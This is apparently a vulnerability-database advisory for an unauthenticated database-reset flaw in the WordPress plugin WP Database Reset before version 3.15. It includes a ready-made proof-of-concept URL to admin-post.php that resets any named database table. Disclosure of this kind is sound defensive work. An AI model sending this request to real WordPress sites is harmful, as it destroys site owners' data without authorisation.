Lucene search

K
wpexploitChloe ChamberlandWPEX-ID:8CB84B6C-F0CD-410D-8A85-90C031DEA2C8
HistoryJan 16, 2020 - 12:00 a.m.

WP Database Reset < 3.15 - Unauthenticated Database Reset

2020-01-1600:00:00
Chloe Chamberland
13

0.007 Low

EPSS

Percentile

80.8%

This flaw “allowed any unauthenticated user to reset any table from the database to the initial WordPress set-up state.”

URL/wp-admin/admin-post.php?db-reset-tables%5B%5D=comments&db-reset-code=11111&db-reset-code-confirm=11111

Where you can set db-reset-tables%5B%5D to any database table you want to delete.

0.007 Low

EPSS

Percentile

80.8%